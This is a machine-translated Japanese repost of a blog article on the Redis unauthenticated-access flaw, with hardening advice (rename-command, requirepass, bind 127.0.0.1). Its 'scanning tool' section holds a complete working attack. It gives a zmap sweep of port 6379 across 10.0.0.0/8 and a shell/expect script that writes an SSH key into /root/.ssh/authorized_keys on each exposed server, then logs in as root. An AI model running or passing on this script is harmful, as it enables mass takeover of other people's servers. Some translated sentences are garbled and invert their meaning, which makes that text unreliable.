Redisセキュリティ構成脆弱性防止:アクセスパスワードを設定し、リモート・アドレスからアクセスしないようにする

5488 ワード

テキストリンク:https://ruby-china.org/topics/28094
原文住所:https://ruby-china.org/topics/28094
  • Redisアクセス効率のためにイントラネット導入アクセス
  • を推奨
  • Redisリモート時にセキュリティパスワードを設定する必要がある
  • へのアクセス
  • Redisリモートではネットワーク遅延による接続失敗を考慮する必要があり、設定タイムアウト時間
  • を大きくする必要がある.
    一、前言
    この間、イントラネットの影響の程度の評価をする時にスキャン利用の小さいスクリプトを書いて、スキャンした後に統計して発見して、イントラネットの中で60%redis 6379ポートを開放したホストは利用することができる危険な状態にあることを発見して、すべていくつかのデフォルトの配置がもたらしたので、当コミュニティの大部分の開発者がすべてredisを使うことを考慮して、特にここで分かち合ってみんなが自分の会社のイントラネットに対して1つの調査を行うことができるようにします.
    二、抜け穴の紹介
    Redisのデフォルトでは、0.0.0.0:6379にバインドされます.これにより、Redisサービスはパブリックネットワークに暴露されます.認証がオンになっていない場合、ターゲット・サーバにアクセスできる場合、任意のユーザーがRedisにアクセスできず、Redisのデータを読み取ることができません.攻撃者は、Redisへのアクセスが許可されていない場合、Redisに関する方法を利用して、Redisサーバに公開鍵を書き込むことに成功し、対応する秘密鍵を使用してターゲットサーバに直接ログインすることができる.
    侵入フィーチャー:
  • RedisはFLUSHALLメソッドを実行することができ、Redisデータベース全体が
  • クリアされる.
  • Redisデータベースには、SSH公開鍵であるcrackit(ネット上に流れるコマンドコマンドコマンド)というキー値ペアが新規に作成されました.
  • は/root/.sshフォルダの下にauthorizedを新規または変更しました.上記公開鍵
  • を含むRedis生成dbファイル.
    三、修復提案
    1.いくつかのハイリスク命令を禁止する
    redisを変更します.confファイル、追加(コマンド名をカスタマイズ可能)
    rename-command FLUSHALL ""
    rename-command CONFIG   ""
    rename-command EVAL     ""
    

    DBファイルアドレスのリモート変更を無効にする
    2.低権限でRedisサービスを実行する
    Redisサービス用に個別のユーザーとホームディレクトリを作成し、ログイン禁止を設定します.
    3.Redisのパスワード検証を追加
    redisを変更します.confファイル、追加
    requirepass mypassword
    

    4.外部ネットワークへのアクセスを禁止するRedis
    redisを変更します.confファイル、追加または変更
    bind 127.0.0.1
    

    Redisサービスが現在のホストでのみ利用可能にする
    四、スキャンツール
    1使用説明
    # Ubuntu  
    su
    
    # Requirements
    apt-get install redis-server expect zmap
    
    git clone https://github.com/qingxp9/yyfexploit
    cd yyfexploit/redis
    
    #   6379  
    #        , /etc/zmap/zmap.conf blacklist-file      
    zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt
    
    # Usage
    ./redis.sh ip.txt
    

    最後に、runasrootといういくつかのtxtファイルの記録結果が生成される.txtはredisに認証がないことを示し、rootでnoauthを実行する.txtはredisに認証がないが、rootshellを一般ユーザで実行することを示す.txtは公開鍵に書き込まれており、rootユーザーに直接証明書でログインできます.
    このように:
    ssh -i id_rsa [email protected]
    2ツールソース
    コードを貼ってください.牛さんたちは保護者の付き添いで見てください.
    #!/bin/sh
     if [ $# -eq 1  ]
     then
       ip_list=$1
    
       ##create id_rsa
       echo "****************************************Create id_rsa file"
    
       expect -c "
         spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
         expect {
             \"*passphrase): \" {
                 exp_send \"\r\"
                 exp_continue
             }
             \"*again: \" {
                 exp_send \"\r\"
             }
             \"*y/n)? \" {
                 exp_send \"n\r\"
             }
         }
         expect eof
       "
    
       echo "

    ****************************************Attack Targets" touch noauth.txt runasroot.txt rootshell.txt haveauth.txt i=0 cat $ip_list | while read ip do i=`expr $i + 1`; #write id_rsa.pub to remote echo "*****${i}***connect to remote ${ip} redis " expect -c " set timeout 3 spawn redis-cli -h $ip config set dir /root/.ssh/ expect { \"OK\" { exit 0 } \"ERR Changing directory: Permission denied\" { exit 1 } timeout { exit 2 } \"(error) NOAUTH Authentication required\" { exit 3 } } " case $? in 0) echo "run redis as root" echo $ip >> noauth.txt echo $ip >> runasroot.txt ;; 1) echo "not run redis as root


    " echo $ip >> noauth.txt continue ;; 2) echo "connect timeout


    " continue ;; 3) echo "Have Auth


    " echo $ip >> haveauth.txt continue ;; esac (echo -e "

    "; cat id_rsa.pub; echo -e "

    ") > foo.txt cat foo.txt | redis-cli -h $ip -x set 1 redis-cli -h $ip config set dir /root/.ssh/ redis-cli -h $ip config set dbfilename "authorized_keys" redis-cli save #login test echo "#try to login" expect -c " set timeout 5 spawn ssh -i id_rsa root@$ip echo \"yyf\" expect { \"*yes/no\" { send \"yes
    \"} \"*password\" { send \"\003\"; exit 1 } \"yyf\" { exit 0 } timeout { exit 2 } } exit 4 " exitcode=$? if [ $exitcode -eq 0 ] then echo "---------------${ip} is get root shell" echo $ip >> rootshell.txt fi echo "


    " done echo "##########Final Count##########" wc -l $ip_list echo "----------" wc -l noauth.txt wc -l runasroot.txt wc -l rootshell.txt echo "----------" wc -l haveauth.txt else echo "usage: ./redis.sh ip.txt" fi

    五、関連参考
  • http://zone.wooyun.org/content/23858
  • https://blog.islandzero.net/2015/11/11/redis-crackit/
  • http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

  • 付録の質問:
    redis.clients.jedis.exceptions.JedisConnectionException:Could not get a resource from the pool、この問題はパスワードやリモートアクセスなどがスムーズかどうかを確認することができます.